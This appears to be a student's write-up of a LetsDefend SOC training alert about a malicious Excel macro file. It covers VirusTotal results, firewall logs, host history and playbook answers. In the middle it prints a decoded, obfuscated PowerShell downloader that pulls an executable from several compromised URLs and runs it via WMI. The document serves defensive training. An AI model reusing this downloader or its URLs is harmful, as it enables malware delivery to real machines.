

EventID :

77

Event Time :

Mar, 13, 2021, 08:20 PM

Rule :

SOC138 - Detected Suspicious Xls File

Level :

Security Analyst

Source Address :

172.16.17.56

Source Hostname :

Sofia

File Name :

ORDER SHEET & SPEC.xlsm

File Hash :

7ccf88c0bbe3b29bf19d877c4596a8d4

File Size :

2.66 Mb

Device Action :

Allowed

File (Password:infected) :

[Download](#)

letsdefend link: <https://app.letsdefend.io/case-management/casedetail/shakeco1/77>

we should look up the file hash on [virustotal](#)

47 / 66

Community Score -9

47/66 security vendors flagged this file as malicious

7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813

ORDER SHEET & SPEC.xlsm

Size 2.66 MB

Last Analysis Date a moment ago

XLSX

xlsx

exe-pattern

macro-run-file

executes-dropped-file

long-sleeps

write-file

auto-open

cve-2017-11882

exploit

checks-user-input

clipboard

run-file

open-file

calls-wmi

run-dll

detect-debug-environment

macros

47/66 security vendors flagged this file as malicious.

Popular threat label Popular threat label trojan.acao/docdl

if we look at the logs from the host's ip

Show Filter

172.16.17.56

DATE	TYPE	SRC ADDRESS	SRC PORT	DEST. ADDRESS	DEST. PORT	RAW
Mar, 13, 2021, 08:20 PM	Firewall	172.16.17.56	52155	177.53.143.89	443	+
Oct, 19, 2020, 10:17 PM	Proxy	172.16.17.56	32212	35.189.10.17	80	+
Mar, 13, 2021, 08:20 PM	Firewall	172.16.17.56	52155	177.53.143.89	443	+

RAW LOG

URL: <http://stylefix.co/guillotine-cross/CTRNOQ/>

4 / 98

Community Score -1

4/98 security vendors flagged this URL as malicious

<http://stylefix.co/guillotine-cross/CTRNOQ/>
stylefix.co

Status 404

Last Analysis Date 11 days ago

if we look up the host's machine

172.16.17.56

Sofia

172.16.17.56

Host Information

Hostname:

Sofia

Domain:

LetsDefend

IP Address:

172.16.17.56

Bit Level:

64

OS:

Windows 10

Primary User:

Sofia2020

Client/Server:

Client

Last Login:

Oct, 25, 2020, 11:44 PM

Action

Containment:

Processes

1

Network Action

1

Terminal History

3

Browser History

1

Results:

10

EVENT TIME

COMMAND LINE

2020-10-18 12:17

cd

2020-10-18 12:18

dir

2020-10-18 22:17

POwershell - ENCOD IAAGAHMAZQB0AC0ASQBUEUATQAgAHYAYQBvAGkAQQ...

we can see that an encrypted command was ran in the terminal

we shall use a website called : emn178.

to decode it.

[illegible]

```
set-ITEM variable:kzeQlU ([tYPE]('sY'+ 'sTEm'+ '.i'+ 'o.dIrECtOR'+ 'Y') ) ; set-
vaRIaBlE ('rFG25'+ '4') ( [TyPe]
('SY'+ 'sTE'+ 'm'+ '.n'+ 'eT.sER'+ 'ViCEpoiNT'+ 'm'+ 'ANagE'+ 'r') ) ; SeT-iteM
("vA"+"riA"+"Ble:4GMS") ([tYPE]
('SYST'+ 'eM'+ '.nEt'+ '.S'+ 'E'+ 'C'+ 'U'+ 'ritYPRoTo'+ 'colTyPE') ) ; $Wuam7je=
('W79h'+ 'p'+ '7t'); $I2hf0cw=$I23d6gy + [char](80 - 38) + $Lbzyf7j; $Z_lockk=
('U'+ 'bzhDgl'); $kZEQLU::CREATEdireCTory($env:userprofile +
(('O'+ 'TfW9'+ 'lu'+ 'danOTf'+ 'Av'+ 'gqkj30'+ 'Tf') -crEpLace ([ChAr]79+[ChAr]84+
[ChAr]102), [ChAr]92)); $B7dtsyn=('Xz7'+ '5vre'); (gi ("v"+"aRIaBlE:R"+"FG254")
).VALuE::SecuRiTYPRoTOCOL = $4gMs::tLS12; $Q6ipuei=('L'+ 'fL4'+ 'rqh'); $I53zimm =
('St'+ 'wk'+ '31v'); $Qxsnpra=('X1vj98'+ 'v'); $Rccmnvg=
('Mvd'+ 'c76h'); $J09xaf2=$env:userprofile+
(('{0}'+ 'W9ludan'+ '{0}Avg'+ 'gkj3'+ '{0}'+ '}') -F [CHAR]92)+$I53zimm+
```

```
('.e'+xe');$G948w6x=('D_+'83+'60m');$Ibcuoi8=new-oBJECT
NeT.webClIeNT;$Jvmmfy0=('ht'+tp:'+'//'+tud+'or'+in+'ve'+st+'.c'+o+'m/wp-
ad'+mi+'n/rG'+tnUb5f+'/'+'*http'+':'+//dp-
wo'+me+'nba'+s+'ke'+t.c'+om+'m/wp-
'+a+'dm'+in/'Li/'+'*'+h+'ttp://s'+tylefix.c'+o/'+'guillo'+t'+i'+ne-
c'+ro'+s'+s+'/'+'C'+TRNOQ/*http://ard'+os.co+'m.br/sim'+ulador/bPN'+x/'+'
*ht'+tp'+':'+//drtheu'+relp'+lasticsu'+rge'+ry.'+'com/'+'g'+en+'eralo/rh'+
'rhfl'+v9+'2/*'+http://bodyinn'+ovat+'ion'+'.co.z'+a/'+'wp'+-
c'+ontent/2ss'+Hv+'i/*http://'+nomadco.'+'es'+/wp-
'+ad'+min/MvwVHCG/').SPLIT($Yyx1yj9+$I2hf0cw+$Lc75n0q);$NzaadzL=
('Ldhnyp'+v');foreach($Pgpj9wa in $Jvmmfy0){try{$Ibcuoi8.downloadAdFiLe($Pgpj9wa,
$J09xaf2);$Gkehriri=('Z2'+ru0+'4x');If((gET-ITEM $J09xaf2).lEngTh-ge 26346)
{([wmiclass]('win3'+2_Proc'+ess')).CreAte($J09xaf2);$Vjg9m1j=
('Vkvb'+vn+'b');break;$Ivc6j6b=('Z'+bnh2+'6w')}}catch{}}$A56gpw8=
('W'+5+'ogy0p')
```


Endpoint Information


Host Information


Hostname:	Sofia	Domain:	LetsDefend
IP Address:	172.16.17.56	Bit Level:	64
OS:	Windows 10	Primary User:	Sofia2020
Client/Server:	Client	Last Login:	Oct, 25, 2020, 11:44 PM


Action

Containment: ☒ Host Contained


 Processes 1

 Network Action 1

 Terminal History 3

 Browser History 1

Results: 10

 EVENT TIME

PROCESS ID

PROCESS NAME

PARENT PROCESS

COMMAND LINE

Playbook Answers

Question: Check If Someone Requested the C2

User answer: Accessed 

Question: Analyze Malware

User answer: Malicious 

Question: Check if the malware is quarantined/cleaned

User answer: Not Quarantined 

Playbook Note

the malicious link was accessed and endpoint was infected making it run powershell command

Extracted Artifacts

Value	Comment	Type
172.16.17.56	host's ip	IP Address
7ccf88c0bbe3b29bf9d877c4596a8d4	file hash	MD5 Hash
http://stylefix.co/guillotine-cross/CTRNOQ/	infected url	E-mail Domain
https://download.cyberlearn.academy/download/download?url=https://files-ld.s3.us-east-2.amazonaws.com/7ccf88c0bbe3b29bf9d877c4596a8d4.zip	infected file	E-mail Domain

Alert Answers

Question:

Is this alert True Positive or False Positive?

User answer:



Alert Note

Action was taken and the computer was put in containment